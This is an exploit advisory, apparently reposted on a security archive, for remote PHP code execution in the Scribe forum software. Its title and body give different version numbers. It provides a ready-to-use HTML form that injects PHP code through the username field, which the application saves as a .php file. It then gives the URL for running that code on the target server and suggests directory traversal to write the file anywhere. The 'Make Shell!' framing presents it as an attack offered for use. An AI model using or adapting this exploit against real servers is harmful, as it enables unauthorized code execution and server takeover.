Scribe <= 2.0 Remote PHP Code Execution

2007.11.05
Risk: High
Local: No
Remote: Yes
CWE: N/A

--------------------------------------------------------------- ____ __________ __ ____ __ /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __ | | | \ | |/ \ \___| | /_____/ | || | |___|___| /\__| /______ /\___ >__| |___||__| \/\______| \/ \/ --------------------------------------------------------------- Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org Original Here: http://www.inj3ct-it.org/exploit/scribe.txt --------------------------------------------------------------- Scribe <= 0.2 Remote PHP Code Execution --------------------------------------------------------------- #By KiNgOfThEwOrLd --------------------------------------------------------------- PoC: When we register a news user, scribe make a file called [username].php located in /regged/. The file contains: Username: [username] --------------------------------------------------------------- Exploit: <form id="Register" action="http://[target]/[scribe_path]/forum.php?act=7" method="post"> <input maxlength="99999999999" name="username" type="text" value="<script language=php>[YOUR_PHP_CODE]"><br> <input maxlength="32" name="password" type="password" value="kingolo"><br> <input maxlength="32" name="cpassword" type="password" value="kingolo"><br> <input maxlength="50" name="email" type="text" value="kingolo"><br> <input name="confirm" value="Make Shell!" type="submit"> </form> Now, go on: http://[target]/[scribe_path]/regged/<script language=php>[YOUR_PHP_CODE].php And your code will be execute on target server! --------------------------------------------------------------- Trick: If you insert directory traversal variable in your username, u can save the file where u want ;) ---------------------------------------------------------------


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top